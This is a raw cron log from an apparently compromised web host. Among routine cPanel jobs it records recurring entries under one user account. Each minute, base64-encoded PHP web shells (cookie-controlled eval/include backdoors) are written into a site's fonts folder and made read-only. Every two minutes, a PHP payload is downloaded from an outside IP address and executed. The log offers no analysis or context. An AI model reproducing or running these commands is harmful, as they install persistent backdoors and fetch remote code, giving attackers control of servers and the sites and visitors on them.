Sep  4 21:17:01 ip-184-168-122-23 CROND[22489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:17:01 ip-184-168-122-23 CROND[22488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:17:01 ip-184-168-122-23 CROND[22490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:18:01 ip-184-168-122-23 CROND[22607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:18:01 ip-184-168-122-23 CROND[22610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:18:01 ip-184-168-122-23 CROND[22608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:18:01 ip-184-168-122-23 CROND[22609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:18:01 ip-184-168-122-23 CROND[22611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:19:01 ip-184-168-122-23 CROND[22756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:19:01 ip-184-168-122-23 CROND[22757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:19:01 ip-184-168-122-23 CROND[22758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:19:01 ip-184-168-122-23 CROND[22759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:20:01 ip-184-168-122-23 CROND[23246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:20:01 ip-184-168-122-23 CROND[23247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:20:01 ip-184-168-122-23 CROND[23251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:20:01 ip-184-168-122-23 CROND[23252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:20:02 ip-184-168-122-23 CROND[23256]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:20:02 ip-184-168-122-23 CROND[23253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:20:02 ip-184-168-122-23 CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:20:02 ip-184-168-122-23 CROND[23257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:20:02 ip-184-168-122-23 CROND[23255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:21:01 ip-184-168-122-23 CROND[23355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:21:01 ip-184-168-122-23 CROND[23356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:21:01 ip-184-168-122-23 CROND[23357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:21:01 ip-184-168-122-23 CROND[23359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:22:02 ip-184-168-122-23 CROND[23442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:22:02 ip-184-168-122-23 CROND[23443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:22:02 ip-184-168-122-23 CROND[23445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:22:02 ip-184-168-122-23 CROND[23444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:22:02 ip-184-168-122-23 CROND[23446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:23:01 ip-184-168-122-23 CROND[23539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:23:01 ip-184-168-122-23 CROND[23538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:23:01 ip-184-168-122-23 CROND[23540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:23:01 ip-184-168-122-23 CROND[23541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:24:01 ip-184-168-122-23 CROND[23701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:24:01 ip-184-168-122-23 CROND[23702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:24:01 ip-184-168-122-23 CROND[23704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:24:01 ip-184-168-122-23 CROND[23705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:24:01 ip-184-168-122-23 CROND[23703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:25:01 ip-184-168-122-23 CROND[23799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:25:01 ip-184-168-122-23 CROND[23801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:25:01 ip-184-168-122-23 CROND[23803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:25:01 ip-184-168-122-23 CROND[23805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:25:01 ip-184-168-122-23 CROND[23802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:25:01 ip-184-168-122-23 CROND[23804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:26:01 ip-184-168-122-23 CROND[23886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:26:01 ip-184-168-122-23 CROND[23889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:26:01 ip-184-168-122-23 CROND[23891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:26:01 ip-184-168-122-23 CROND[23892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:26:01 ip-184-168-122-23 CROND[23890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:27:01 ip-184-168-122-23 CROND[23974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:27:01 ip-184-168-122-23 CROND[23973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:27:01 ip-184-168-122-23 CROND[23975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:27:01 ip-184-168-122-23 CROND[23976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:28:01 ip-184-168-122-23 CROND[24069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:28:01 ip-184-168-122-23 CROND[24068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:28:01 ip-184-168-122-23 CROND[24071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:28:01 ip-184-168-122-23 CROND[24072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:28:01 ip-184-168-122-23 CROND[24070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:29:01 ip-184-168-122-23 CROND[24158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:29:01 ip-184-168-122-23 CROND[24159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
